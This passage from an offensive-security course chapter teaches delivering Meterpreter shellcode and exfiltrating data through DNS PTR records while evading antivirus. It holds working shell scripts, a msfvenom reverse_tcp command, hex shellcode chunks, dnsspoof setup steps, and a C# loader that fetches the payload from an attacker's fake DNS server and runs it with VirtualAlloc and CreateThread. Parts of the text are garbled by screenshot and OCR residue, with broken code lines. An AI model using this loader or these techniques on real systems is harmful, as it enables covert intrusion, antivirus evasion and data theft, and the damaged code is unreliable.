Oxfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com0x510x560"

as you can see in Picture "Code3-1" after this code

```
string[] Payload___Without_delimiterChar = DATA.Split('x');
```

our String Array Variable started by 0 in Payload_Without_delimiterChar [0].

```
Payload__Without_delimiterChar [0] = 0
Payload__Without_delimiterChar [1] = fc0
Payload__Without_delimiterChar [2] = 480
```

so this Byte will make Problem because this is my bug ;D in my code and this is not section of Meterpreter Payload so how can fix this ?

You can fix it by assigning value 1 to I.

```
for (int i = 1; i < __Bytes.Length; i++)
{
    tmp = Payload__Without_delimiterChar[i].ToString().Substring(0, 2);
    byte current = Convert.ToByte("0x" + tmp.ToString(), 16);
    __Bytes[i] = current;
}</pre>
```

as you can see in Picture Code 3-3 this trick worked very well and you have Correct Payload in your Byte Array variable and in picture "Code 3-2" you can see "Section A" for creating Thread by this Byte Array Variable in this case "___Bytes" so about how this "Section A" worked we Talked in previous chapters especially in "Chapter 1".

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)







Code 3-3

Using this method on Linux systems only : NativePayload_DNS.sh Script and Linux systems

now in this Part of this chapter I want to talk about this Method on Linux systems only so in this case I made 2 scripts for this method first for Make DNS PTR Records via Host.txt file, second is NativePayload_DNS.sh Script for Dump/Download DATA via DNS PTR records.

Note : in this case I used these Scripts to Dump/Download "Text" as DATA via DNS PTR Records .

As you can see in the next picture I used these two Scripts on two Linux systems .

Using Scripts Step by step :

Step 1 (system A) : first of all you need to Create one Host file as DNS Records to use by "Dnsspoof" tool so for make it you can use this Script "DnsHostCreator.sh"

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

to use this Script your syntax is this :

syntax : ./DnsHostCreator.sh SourceTextFile.txt DomainName ChunkNumber

Example 1 : ./DnsHostCreator.sh 1.txt microsoft.com 10 > host.txt

in this case in file "1.txt" I have this text "Transferring DATA via DNS PTR Records ;)." and with "Example 1" I will have something like these lines in "host.txt"

File host.txt :

192.168.1.6 temp.microsoft.com
injecting this text via this host.domain: Transferri ==> 5472616e736665727269.microsoft.com
192.168.1.0 5472616e736665727269.microsoft.com
injecting this text via this host.domain: ng DATA vi ==> 6e672044415441207669.microsoft.com
192.168.1.1 6e672044415441207669.microsoft.com
injecting this text via this host.domain: a DNS PTR ==> 6120444e532050545220.microsoft.com
192.168.1.2 6120444e532050545220.microsoft.com
injecting this text via this host.domain: Records ;) ==> 5265636f726473203b29.microsoft.com
192.168.1.3 5265636f726473203b29.microsoft.com
injecting this text via this host.domain: . ==> 2e.microsoft.com
192.168.1.4 2e.microsoft.com

as you can see these Text Injected to "Hosts" for Domain "microsoft.com" it means :

host = text == > 5472616e736665727269 = Transferri

injecting this text via this host.domain: Transferri ==> 5472616e736665727269.microsoft.com

Step 1-2 (system A) : now you should make Fake DNS Server by this file "host.txt" via dnsspoof tool

Example 1-2 : ./dnsspoof -f host.txt

Step 2 (system B) : now in this Step you can Download these Injected Text to Host-Name for domain "microsoft.com from "system A" to "system B" with this syntax :

syntax : ./NativePayload_DNS.sh DomainName TargetDNSServer Delay(sec)

Example 2 : ./NativePayload_DNS.sh microsoft.com 192.168.56.1 2

File Machine View Input Devices Hele	- • *	Save = - • ×
Applications = Places = D Terminal = Mon 02:54		
		1
root@kali: ~/Deskto	op 🗉 🖾	
File Edit View Search Terminal Help		
<pre>root@kali:→/Desktop# ./NativePayload_DNS.sh microsoft.com 192.16 NativePayload_DNS.sh v1.0 , Published by Damon Mohammadbagher 20 Exfil/Infiltration/Transferring DATA via DNS PTR Records</pre>	58.56.1 2 917-2018	
		000
[!] Detecting Temp host: 192.168.1.6	File Edit View Search Terminal Help	
[1] Detecting First Request: 102 168 1 x		
[1] Delay time (sec): 2	/Chapter 3# cat 1.txt	(Chapter 3#
	/Chapter 3#	chapter 5#
[!] [0] [06/08/18 02:49:40] Lookup : 192.168.1.0	/Chapter 3# ./DnsHostCreator.sh 1	.txt microsoft.com 10 > host.txt
<pre>[!] [0] Domain: 5472616e736665727269.microsoft.com.</pre>	Chapter 3# cat host.txt grep 1 // Chapter 3# cat host.txt grep 1	nje ==> 5472616e736665727269.microsoft.com
[!] [0] Text: Transferri	<pre># injecting this text via this sub domain: ng DATA vi</pre>	==> 6e672044415441207669.microsoft.com
[>] [0] Dumped DATA : Transferri	<pre># injecting this text via this sub domain: a DNS PTR</pre>	==> 6120444e532050545220.microsoft.com
	# injecting this text via this sub domain: Records ;)	==> 5265636f726473203b29.microsoft.com
[!] [1] [06/08/18 02:49:43] LOOKUP : 192.168.1.1	"Chanter 3# dosspoof -f bost tyt	. MICTOSOTC. COM
[!] [1] Domain: beb/204441544120/bb9.microsoft.com.	dnsspoof: listening on vboxnet0 [udp dst port 53 and n	ot src 192.168.56.1]
[!] [1] Text: ng DATA vi	192.168.56.101.49960 > 192.168.56.1.53: 34544+ A? tem	ip.microsoft.com
[>] [1] Dumped DATA : Transferring DATA Vi	192.168.56.101.35739 > 192.168.56.1.53: 41986+ PTR? 0	.1.168.192.in-addr.arpa
	192.168.56.101.57711 > 192.168.56.1.53: 6752+ PTR? 0.	1.168.192.in-addr.arpa
[!] [2] [06/08/18 02:49:4/] Lookup : 192.168.1.2	192.108.50.101.45427 > 192.108.50.1.55; 01081+ PTR? 0 102 168 56 101 45706 > 102 168 56 1 53; 51504+ PTR? 1	1 168 192 in-addr arna
[!] [2] Domain: 6120444e532050545220.microsoft.com.	192.168.56.101.48356 > 192.168.56.1.53: 1316+ PTR? 1.	1.168.192.in-addr.arpa
[!] [2] Text: a DNS PTR	192.168.56.101.35522 > 192.168.56.1.53: 59550+ PTR? 1	.1.168.192.in-addr.arpa
[>] [2] Dumped DATA : Transferring DATA via DNS PTR	192.168.56.101.35406 > 192.168.56.1.53: 15877+ PTR? 2	.1.168.192.in-addr.arpa
	192.168.56.101.33235 > 192.168.56.1.53: 26970+ PTR? 2	.1.168.192.in-addr.arpa
[!] [3] [06/08/18 02:49:51] Lookup : 192.168.1.3	192.108.50.101.34400 > 192.108.50.1.53; $293/0+ PIR? 2$	1.168.192.10-addr.arpa
[!] [3] Domain: 5265636f726473203b29.microsoft.com.	192.168.56.101.44735 > 192.168.56.1.53; $31330 + PTR?$ 3	1.168.192.in-addr.arpa
[!] [3] Text: Records ;)	192.168.56.101.47538 > 192.168.56.1.53: 16349+ PTR? 3	1.1.168.192.in-addr.arpa
<pre>[>] [3] Dumped DATA : Transferring DATA via DNS PTR Records ;)</pre>	192.168.56.101.41118 > 192.168.56.1.53: 40962+ PTR? 4	.1.168.192.in-addr.arpa
	192.168.56.101.58480 > 192.168.56.1.53: 45364+ PTR? 4	.1.168.192.1n-addr.arpa
[!] [4] [00/08/18 02:49:54] Lookup : 192.168.1.4	192.108.30.101.32013 > 192.108.30.1.33. 24216+ PTR? 4	
[!] [4] Domain: Ze.microsott.com.	In the second	
		ab Width: 8 = In 3 Col 66 = INC

Course : Bypassing Anti Viruses by C#.NET Programming Part 2 (Infil/Exfiltration/Transferring Techniques by C#) , Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

DnsHostCreator.sh , Script Code :

#!/bin/sh
syntax0 : ./DnsHostCreator.sh SourceTextFile.txt DomainName ChunkNumber
syntax0 : ./DnsHostCreator.sh text.txt Test.com 20 > myhost.txt
Example : dnsspoof -f myhost.txt
echo "DnsHostCreator.sh v1.0 , Published by Damon Mohammadbagher 2017-2018"
echo "Injecting DATA to DNS Traffic via DNS PTR Records and Host.txt"
echo ""
cu=0
for op in `xxd -p -c \$3 \$1 `; do
((cu++))
done
((cu++))
echo 192.168.1.\$cu "temp.\$2"
x=0
for ops in `xxd -p -c \$3 \$1`; do
Exfil=\$ops
t=`echo \$Exfil xxd -r -p`
echo "# injecting this text via this host.domain: " \$t " ==> " \$Exfil.\$2
echo 192.168.1.\$x "\$Exfil.\$2"
((×++))
done

NativePayload_DNS.sh , Script Code :

#!/bin/sh
syntax ./NativePayload_DNS.sh DomainName TargetDNSServer delay
syntax ./NativePayload_DNS.sh test.com 192.168.1.10 3
tput setaf 2;
echo "NativePayload_DNS.sh v1.0 , Published by Damon Mohammadbagher 2017-2018"
echo "Exfil/Infiltration/Transferring DATA via DNS PTR Records"
echo ""
temp=`nslookup temp. \$1 \$2 grep Add awk {'print \$2' }`
temp2=`echo \$temp awk {'print \$2'}`
echo "[!] Detecting Temp host: "\$temp2
myloops=`echo \$temp2 cut -d'.' -f4`
echo "[!] Detecting PTR Records/Requests: "\$myloops
first_ip="`echo \$temp2 cut -d'.' -f1`"
first_ip+=".`echo \$temp2 cut -d'.' -f2`"
first_ip+=".`echo \$temp2 cut -d'.' -f3`."
echo "[!] Detecting First Request: "\$first_ip"x"

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

```
echo "[!] Delay time (sec): "$3
counter=0
timedelay=0
alldumps=``;
while(true)
do
          echo "-----
          first_ip="`echo $temp2 | cut -d'.' -f1`"
          first ip+=".`echo $temp2 | cut -d'.' -f2`"
          first_ip+=".`echo $temp2 | cut -d'.' -f3`.$counter"
          tput setaf 2;
          time=`date '+%d/%m/%y %H:%M:%S'`
          echo "[!] "[$counter] [$time] " Lookup : " $first_ip
          tput setaf 11;
          final= echo "[!] "[$counter]" Domain: " "`nslookup $first_ip $2 | grep arpa | awk {'print $4'}`"
          tput setaf 3;
          finals= echo "[!] "[$counter]" Text: " "`nslookup $first_ip $2 | grep arpa | awk {'print $4'} | xxd -r -p`"
          alldumps+="`nslookup $first_ip $2 | grep arpa | awk {'print $4'} | xxd -r -p`"
          tput setaf 10;
          echo "[>] "[$counter]" Dumped DATA : " $alldumps
          ((counter++))
          sleep $3
                    if(($counter == $myloops))
                    then
                    break
                    fi
done
```

NativePayload_DNS.exe , C# Code :

Supported only in .NET Framework 2.0, 3.0, 3.5, 4.0

```
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Ling;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_DNS
  class Program
  {
     static void Main(string[] args)
    {
       string _DnsServer = "192.168.1.50";
       /// 1.1.1.{x} ==> x = 0 \dots 33
       string IPaddress Begin = "1.1.1.";
       int _IPaddress_Counter = 34;
       |||
       /// step 1:
       /// msfvenom C type payload in your kali linux
       /// msfvenom D-platform windows Darch x86_64 Dp windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 Df c > /root/Desktop/payload.txt
       /// copy payloads from payload.txt file to dns.txt like this format:
       ///
       ///
```

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

/// root@kali:~# cat /root/Desktop/dns.txt 111 ///1.1.1.0 "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com" ///1.1.1.1 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com" ///1.1.1.2 "0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com" ///1.1.1.3 "0x480x310xc00xac0x3c0x610x7c0x020x2c0x200x410xc10xc90x0d0x41.1.com" ///1.1.1.4 "0x010xc10xe20xed0x520x410x510x480x8b0x520x200x8b0x420x3c0x48.1.com" ///1.1.1.5 "0x010xd00x660x810x780x180x0b0x020x0f0x850x720x000x000x000x8b.1.com" ///1.1.1.6 "0x800x880x000x000x000x480x850xc00x740x670x480x010xd00x500x8b.1.com" ///1.1.1.7 "0x480x180x440x8b0x400x200x490x010xd00xe30x560x480xff0xc90x41.1.com" ///1.1.1.8 "0x8b0x340x880x480x010xd60x4d0x310xc90x480x310xc00xac0x410xc1.1.com" ///1.1.1.9 "0xc90x0d0x410x010xc10x380xe00x750xf10x4c0x030x4c0x240x080x45.1.com" ///1.1.1.10 "0x390xd10x750xd80x580x440x8b0x400x240x490x010xd00x660x410x8b.1.com" ///1.1.1.11 "0x0c0x480x440x8b0x400x1c0x490x010xd00x410x8b0x040x880x480x01.1.com" ///1.1.1.12 "0xd00x410x580x410x580x5e0x590x5a0x410x580x410x580x410x5a0x48.1.com" ///1.1.1.13 "0x830xec0x200x410x520xff0xe00x580x410x590x5a0x480x8b0x120xe9.1.com" ///1.1.1.14 "0x4b0xff0xff0xff0x5d0x490xbe0x770x730x320x5f0x330x320x000x00.1.com" ///1.1.1.15 "0x410x560x490x890xe60x480x810xec0xa00x010x000x000x490x890xe5.1.com" ///1.1.1.16 "0x490xbc0x020x000x110x5c0xc00xa80x010x320x410x540x490x890xe4.1.com" ///1.1.1.17 "0x4c0x890xf10x410xba0x4c0x770x260x070xff0xd50x4c0x890xea0x68.1.com" ///1.1.1.18 "0x010x010x000x000x590x410xba0x290x800x6b0x000xff0xd50x6a0x05.1.com" ///1.1.1.19 "0x410x5e0x500x500x4d0x310xc90x4d0x310xc00x480xff0xc00x480x89.1.com" ///1.1.1.20 "0xc20x480xff0xc00x480x890xc10x410xba0xea0x0f0xdf0xe00xff0xd5.1.com" ///1.1.1.21 "0x480x890xc70x6a0x100x410x580x4c0x890xe20x480x890xf90x410xba.1.com" ///1.1.1.22 "0x990xa50x740x610xff0xd50x850xc00x740x0a0x490xff0xce0x750xe5.1.com" ///1.1.1.23 "0xe80x930x000x000x000x480x830xec0x100x480x890xe20x4d0x310xc9.1.com" ///1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" ///1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf60x6a0x400x41.1.com" ///1.1.1.26 "0x590x680x000x100x000x000x410x580x480x890xf20x480x310xc90x41.1.com" ///1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31.1.com" ///1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" ///1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" ///1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" ///1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" ///1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" ///1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" /// step 2: Make Fake DNS server in your kali linux ///root@kali:~# dnsspoof -i eth0 -f /root/Desktop/dns.txt /// step 3 /// run code in client /// syntax: NativePayload DNS.exe "1.1.1." 34 "192.168.1.50" /// finally you can bypass AVs and you have Meterpreter Session 111 try /// IP Address for Resolve ==> IPAddress to FQDN _IPaddress_Begin = args[0].ToString(); /// Number for Counter /// for example 1.1.1. by 34 ==> 1.1.1.0 , 1.1.1.1 , , 1.1.1.32 , 1.1.1.33 _IPaddress_Counter = Convert.ToInt32(args[1]); /// Attacker Fake DNS Server DnsServer = args[2].ToString(); 1 catch (Exception err) ł Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine(""); Console.WriteLine("Command Syntax : NativePayload_DNS.exe \"StartIpaddress\" counter_Number_of_Records \"FakeDNS_Server\" "); Console.WriteLine("Command Syntax : NativePayload DNS.exe \"1.1.1.\" 34 \"192.168.1.50\" "); Console.WriteLine("for more information please visit github account for this tool"); Console.WriteLine(""); Console.WriteLine(""); Console.WriteLine("[1] error: {0}", err.Message); Console.ForegroundColor = ConsoleColor.DarkGray; try { string[] _DATA = new string[_IPaddress_Counter]; string DATA = ' Console.ForegroundColor = ConsoleColor.DarkGreen; Console.WriteLine("NativePayload_DNS by Damon Mohammadbagher"); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Starting Download Backdoor Payloads by DNS Traffic from FakeDNS_Server"); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("DNS Server: {0} ", _DnsServer); for (int i = 0; i < _IPaddress_Counter; i++) _DATA[i] = __nslookup(_IPaddress_Begin + i, _DnsServer); DATA += _DATA[i].ToString(); Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("DNS Request Send: {0}", (IPaddress Begin + i).ToString()); Console.ForegroundColor = ConsoleColor.DarkYellow;

Part 2 (Infil/Exfiltration/Transferring Techniques by C#) , Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

```
Console.WriteLine("DNS Response type PTR Record: {0}", _Records);
            Console.ForegroundColor = ConsoleColor.DarkGray;
          ]
          string[] Payload___Without_delimiterChar = DATA.Split('x');
          object tmp = new object();
          byte[] __Bytes = new byte[DATA.Length / 4];
          for (int i = 1; i < ___Bytes.Length; i++)
            tmp = Payload__Without_delimiterChar[i].ToString().Substring(0, 2);
            byte current = Convert.ToByte("0x" + tmp.ToString(), 16);
              Bytes[i] = current;
          Console.WriteLine();
          Console.WriteLine("Bingo Meterpreter session by DNS traffic ;)");
UInt32 funcAddr = VirtualAlloc(0, (UInt32)__Bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
          Marshal.Copy(__Bytes, 0, (IntPtr)(funcAddr), __Bytes.Length);
          IntPtr hThread = IntPtr.Zero;
          UInt32 threadId = 0;
          IntPtr pinfo = IntPtr.Zero;
          hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
          WaitForSingleObject(hThread, 0xFFFFFFF);
       catch (Exception err2)
       ł
          Console.ForegroundColor = ConsoleColor.DarkGray;
          Console.WriteLine("[2] error: {0}", err2.Message);
          Console.ForegroundColor = ConsoleColor.DarkGray;
       }
     public static string _Records = "";
     public static string nslookup(string DNS PTR A, string DnsServer)
       /// Make DNS traffic for getting Meterpreter Payloads by nslookup
       ProcessStartInfo ns_Prcs_info = new ProcessStartInfo("nslookup.exe", DNS_PTR_A + " " + DnsServer);
       ns Prcs info.RedirectStandardInput = true;
       ns_Prcs_info.RedirectStandardOutput = true;
       ns Prcs info.UseShellExecute = false;
       // you can use Thread Sleep here
       Process nslookup = new Process();
       nslookup.StartInfo = ns_Prcs_info;
       nslookup.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
       nslookup.Start();
       /// if you want to change your Domain Name from "1.com" to "22.com"
       /// then you should change these Settings and Values too ;)
       string computerList = nslookup.StandardOutput.ReadToEnd();
       string[] lines = computerList.Split('\r', 'n');
       string last_line = lines[lines.Length - 4];
       string temp_1 = last_line.Remove(0, 11);
        Records = "\"" + temp_1;
       int i = temp_1.LastIndexOf('.');
       string temp_2 = temp_1.Remove(i, (temp_1.Length - i));
       int b = temp_2.LastIndexOf('.');
       string final = temp 2.Remove(b, temp 2.Length - b);
       return final:
    }
    private static UInt32 MEM_COMMIT = 0x1000;
     private static UInt32 PAGE EXECUTE READWRITE = 0x40;
    [DllImport("kernel32")]
     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
     [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref
UInt32 lpThreadId);
     [DllImport("kernel32")]
     private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
```

}